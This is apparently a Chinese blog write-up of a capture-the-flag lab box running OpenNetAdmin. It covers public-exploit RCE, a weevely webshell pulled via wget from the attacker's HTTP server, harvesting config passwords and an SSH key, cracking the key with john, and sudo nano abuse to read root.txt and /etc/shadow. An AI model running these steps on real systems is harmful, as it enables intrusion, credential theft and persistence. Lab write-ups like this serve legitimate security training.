0x00 目标

Kali: 10.10.16.242

靶机地址:10.10.10.171

目标:user blood and root blood

image-20200323051908502

0x01 信息收集

端口:

使用 nmap 对目标进行端口扫描:

开放端口:22、80

image-20200323053831716.png

说明开放 ssh 和 web。

常规渗透通常从 web 先入手。

尝试访问 http://10.10.10.171:80,初始页面显示 apache,暂无用处。
image-20200323054010349.png

web 目录:

尝试爆破 web 目录,使用 DirBuster。

存在目录:

/icons
# 403
/artwork
# 一些普通页面
/music
# 一些普通页面,加上 login(ona)
/ona  opennetadmin 主机管理系统

image-20200323054402110.png

从而知道了 web 搭建了 OpenNetAdmin 主机管理系统。

0x02 渗透过程

webshell:

http://10.10.10.171/ona/ 看到版本号为 v18.1.1

到这里可以尝试登陆看看有没有弱口令。

但是国外的靶机不太清楚 opennetadmin 具体能做什么。

image-20200323064131093.png
所以由已知的 OpenNetAdmin 可以用 searchsploit 或者 msf 来找 exp。

尝试用 msf 没有找到对应的 exp。

searchsploit 找到了远程命令执行。

searchsploit opennetadmin

image-20200323065308240.png
可以直接拿出来用:

searchsploit -m 47691
# 将该exp文件拿到到当前目录
vim 47691.sh

exp 设置好登陆的 url 就可以直接打了。

莫名原因 exp 不能直接用报错,拿出来修改到另一个.sh 文件里可以执行命令了。

image-20200323071330283.png
到此拿到了为 www-data 的权限。

这里用 weevely 先做下权限维持。生成了一个 cmd.php 的一句话通过 wget 放到 web 根目录。

weevely generate xxx cmd.php
# 生成password为xxx的一句话
python3 -m http.server 
# 搭建临时http服务器传输文件,默认端口8000
wget http://10.10.16.242:8000/cmd.php

image-20200323072845035.png

image-20200323073050721.png

提升权限:

现在已经有了 webshell, 但是权限是 www-data,想要获得更高的权限需要进行其他尝试。

尝试用 cat /etc/passwd 读到两个存在的低权限用户名:

image-20200323075845622.png

jimmy
joanna

尝试去找数据库的密码,最终在 /opt/ona/www/local/config/database_settings.inc.php 找到数据库账号密码:

image-20200323075231500.png

ona_sys
n1nj4W4rri0R!

尝试登陆数据库失败。

image-20200323080142905.png

jimmy 用户:

想到还有个 22 端口,于是尝试拿数据库密码跑下两个账号。没想到 jimmy 账号登录进去了。

image-20200323080755660.png

但是在她的 home 目录下没有找到 user.txt。猜测是在 joanna 下面,但是没有权限进。

image-20200323081112880.png

找到了 /var/www/ 目录下,发现有几个目录,猜测这个是多站点,但是有的目录没有访问权限。

image-20200323130136770.png

/var/www/internal 目录下的几个文件倒是有权限访问。可以看下具体是什么功能的 php 脚本。

首先看到 index.php,这个登录验证直接告诉了我们账号密码是什么。继续扩大密码池。再跑遍 joanna 看能不能直接直接登录上去,未果。

jimmy
Revealed

image-20200323131215449.png

image-20200323131248459.png

image-20200323131421184.png

再看下 main.php。找到有用的了,看代码可以看到通过 cat /home/joanna/.ssh/id_rsa 获取 joanna 用户的密钥。现在需要想把运行这个 main.php

image-20200323185431127.png

尝试 php main.php 发现权限不足。

还有一个 x.php,尝试 php main.php 发现也是权限不足。

image-20200323190428422.png

并提示了一段文字。

没搞懂什么意思。。。

image-20200323185806604.png

image-20200323190451210.png

<pre></pre><html>
<h3>Don't forget your "ninja" password</h3>
Click here to logout <a href="logout.php" tite = "Logout">Session
</html>

joanna 用户:

整理下思路,现在查看这个目录也有几个 php 文件,并且可能通过他得到 joanna 用户的密钥,我们就可以获得 flag,还有用户权限。

我们知道之前 webshell 的根目录是 /opt/ona/www,而这个目录的路径是 /var/www/internal。可能存在多个站点。

多个站点肯定对应不同的端口,所以这里我查了下端口。

netstat -aptn

image-20200323191510122.png

看到本地开放了

3306、52846

二其他的端口可以直接访问到,这两个端口只能在当前内网状态才能访问。

又想到 curl 可以直接在命令行下请求 url 页面。我们可以不尝试流量代理到本地,直接用 curl 看看有没有回显。

image-20200323192002076.png

image-20200323192031947.png

果不其然,得到了 joanna 的密钥,尝试另一个 x.php 获取不到 root.txt,只能接下来看看怎么搞了。

通过命令密钥 ssh 连接:

chmod 600 is_rsa 
ssh -i is_rsa [email protected]

image-20200323192742504.png

还是需要密码。。。有点无语。

那么可以尝试破解密钥,破解密钥可以用 john,转换 john 的格式,然后再爆破:

python /usr/share/john/ssh2john.py is_rsa > ssh_is_rsa

# 这里可以用kali自带的rock字典
john --wordlist=/usr/share/wordlists/rockyou.txt ssh_is_rsa

image-20200323230441539.png

获得到密码,原来那个 ninja 还真是个提示:

bloodninjas

至此登录上 joanna 用户并且获取到一个 flag。

image-20200323230735885.png

提权读 root.txt

最后就剩下一个 root.txt 获取最后一个 flag 并且提权,看说明那应该就是需要有 root 权限去读文件。

这里直接用 sudo 拿下了,原理就是 sudo 配置运行的部分命令可以不用密码验证。

通过 sudo -l 查看允许的命令。

image-20200323232613176.png

nano 是一款编辑器,这里我们可以直接通过读取 /root/root.txt

nano 的用法:

ctrl+R: 从其他档案读入资料,可以将某个档案的内容贴在本档案中

sudo /bin/nano /opt/priv

ctrl + r

/root/root.txt

image-20200323232942426.png

到此拿到了所有的 flag。并且获取到了几个用户的权限。

编辑器有 sudo 权限,那自然也可以读 /etc/shadow

image-20200323233402874.png

标签: 靶机

添加新评论